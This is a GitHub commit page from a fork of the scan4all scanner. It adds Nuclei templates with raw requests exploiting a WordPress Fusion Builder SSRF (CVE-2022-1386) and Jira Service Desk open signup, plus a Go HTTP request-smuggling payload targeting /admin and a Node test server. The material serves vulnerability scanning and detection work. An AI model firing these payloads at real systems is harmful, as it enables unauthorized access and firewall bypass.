forked from GhostTroops/scan4all
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Fixed -np Skip pocs_go check fix by @hktalent in GhostTroops#38
Added Check Smuggling TE_CL by @hktalent Added CVE-2022-1386 jira-servicedesk-signup check poc 2022-07-24
- Loading branch information
Showing
25 changed files
with
509 additions
and
48 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,96 @@ | ||
| id: CVE-2022-1386 | ||
|
|
||
| info: | ||
| name: WordPress Fusion Builder < 3.6.2 - Unauthenticated SSRF | ||
| author: akincibor,MantisSTS,calumjelrick | ||
| severity: critical | ||
| description: | | ||
| The plugin, used in the Avada theme, does not validate a parameter in its forms which could be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. This could be used to interact with hosts on the server's local network bypassing firewalls and access control measures. | ||
| reference: | ||
| - https://wpscan.com/vulnerability/bf7034ab-24c4-461f-a709-3f73988b536b | ||
| - https://www.rootshellsecurity.net/rootshell-discovered-a-critical-vulnerability-in-top-wordpress-theme/ | ||
| - https://theme-fusion.com/version-7-6-2-security-update/ | ||
| classification: | ||
| cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ||
| cvss-score: 9.8 | ||
| cve-id: CVE-2022-1386 | ||
| cwe-id: CWE-918 | ||
| tags: cve,cve2022,wp,wordpress,ssrf,fusion,themefusion,avada | ||
|
|
||
| requests: | ||
| - raw: | ||
| - | | ||
| POST /wp-admin/admin-ajax.php HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | ||
| Origin: {{BaseURL}} | ||
| Referer: {{RootURL}} | ||
| action=fusion_form_update_view | ||
| - | | ||
| POST /wp-admin/admin-ajax.php HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268 | ||
| Origin: {{BaseURL}} | ||
| Referer: {{RootURL}} | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="formData" | ||
| email=example%40example.com&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval=48&priva | ||
| cy_expiration_action=ignore&fusion-form-nonce-0={{fusionformnonce}}&fusion-fields-hold-private-data= | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="action" | ||
| fusion_form_submit_form_to_url | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="fusion_form_nonce" | ||
| {{fusionformnonce}} | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="form_id" | ||
| 0 | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="post_id" | ||
| 0 | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="field_labels" | ||
| {"email":"Email address"} | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="hidden_field_names" | ||
| [] | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="fusionAction" | ||
| https://oast.me | ||
| -----------------------------30259827232283860776499538268 | ||
| Content-Disposition: form-data; name="fusionActionMethod" | ||
| GET | ||
| -----------------------------30259827232283860776499538268-- | ||
| extractors: | ||
| - type: xpath | ||
| part: body_1 | ||
| name: fusionformnonce | ||
| attribute: value | ||
| xpath: | ||
| - '//*[@id="fusion-form-nonce-0"]' | ||
| internal: true | ||
|
|
||
| req-condition: true | ||
| matchers-condition: and | ||
| matchers: | ||
| - type: word | ||
| part: body_2 | ||
| words: | ||
| - 'Interactsh Server' | ||
|
|
||
| - type: status | ||
| status: | ||
| - 200 |
54 changes: 54 additions & 0 deletions
54
config/nuclei-templates/vulnerabilities/jira/jira-servicedesk-signup.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,54 @@ | ||
| id: jira-servicedesk-signup | ||
|
|
||
| info: | ||
| name: Atlassian Jira Service Desk Signup | ||
| author: TechbrunchFR | ||
| severity: medium | ||
| description: | ||
| This instance of Atlassian JIRA is misconfigured to allow an attacker to sign up (create a new account) just by navigating to the signup page that is accessible at the URL /servicedesk/customer/user/signup. After the attacker has created a new account it's possible for him/her to access the support portal. | ||
| reference: | ||
| - https://www.acunetix.com/vulnerabilities/web/atlassian-jira-servicedesk-misconfiguration/ | ||
| metadata: | ||
| shodan-query: http.component:"Atlassian Jira" | ||
| classification: | ||
| cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | ||
| cvss-score: 6.1 | ||
| cwe-id: CWE-287 | ||
| tags: atlassian,servicedesk,jira,confluence | ||
|
|
||
| requests: | ||
| - raw: | ||
| - | | ||
| GET /servicedesk/customer/user/signup HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| - | | ||
| POST /servicedesk/customer/user/signup HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/json | ||
| Origin: {{RootURL}} | ||
| Referer: {{RootURL}}/servicedesk/customer/user/signup | ||
| {"email":"","fullname":"{{randstr}}","password":"","captcha":"","secondaryEmail":""} | ||
| - | | ||
| GET /secure/Signup!default.jspa HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| - | | ||
| POST /secure/Signup.jspa HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
| Origin: {{RootURL}} | ||
| Referer: {{RootURL}}/secure/Signup.jspa | ||
| email=&fullname={{randstr}}&username=&password=&Signup=Sign+up | ||
| cookie-reuse: true | ||
| stop-at-first-match: true | ||
| matchers: | ||
| - type: word | ||
| words: | ||
| - 'signup.validation.errors' | ||
| - 'signup-username-error' | ||
| condition: or |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,26 @@ | ||
| package Smuggling | ||
|
|
||
| import "strings" | ||
|
|
||
| var TE_Payload = []string{`GET / HTTP/1.1 | ||
| Host: %s | ||
| Transfer-Encoding: chunkedchunked | ||
| 26 | ||
| GET / HTTP/1.1 | ||
| Content-Length: 30 | ||
| 0 | ||
| GET /admin HTTP/1.1 | ||
| `} | ||
|
|
||
| func init() { | ||
| for n, x := range TE_Payload { | ||
| x = strings.ReplaceAll(x, "\n", "\r\n") | ||
| TE_Payload[n] = x | ||
| } | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,22 @@ | ||
| package runner | ||
|
|
||
| import ( | ||
| "fmt" | ||
| "github.com/hktalent/scan4all/lib/Smuggling" | ||
| "github.com/hktalent/scan4all/lib/socket" | ||
| "strings" | ||
| ) | ||
|
|
||
| // check HTTP Request Smuggling | ||
| // https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L483 | ||
| func Check_TE_CL(target string, port int) bool { | ||
| s1 := socket.NewCheckTarget(target, "tcp", port, 15).SendOnePayload(fmt.Sprintf(Smuggling.TE_Payload[0], fmt.Sprintf("%s:%d", target, port))) | ||
| if "" != s1 { | ||
| a := strings.Split(s1, "HTTP/1.1") | ||
| if 3 <= len(a) { | ||
| return true | ||
| } | ||
| } | ||
|
|
||
| return false | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,14 @@ | ||
| version: '3' | ||
|
|
||
| services: | ||
| cve202232213: | ||
| image: node:16-alpine | ||
| tty: true | ||
| container_name: cve202232213 | ||
| ports: | ||
| - "80:80" | ||
| volumes: | ||
| - "./:/app" | ||
|
|
||
| entrypoint: | ||
| - "node /app/testServer.js" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,22 @@ | ||
| const http = require('http'); | ||
|
|
||
| http.createServer((request, response) => { | ||
| let body = []; | ||
| request.on('error', (err) => { | ||
| response.end("error while reading body: " + err) | ||
| }).on('data', (chunk) => { | ||
| body.push(chunk); | ||
| }).on('end', () => { | ||
| body = Buffer.concat(body).toString(); | ||
|
|
||
| response.on('error', (err) => { | ||
| response.end("error while sending response: " + err) | ||
| }); | ||
|
|
||
| response.end(JSON.stringify({ | ||
| "Headers": request.headers, | ||
| "Length": body.length, | ||
| "Body": body, | ||
| }) + "\n"); | ||
| }); | ||
| }).listen(80); |
Oops, something went wrong.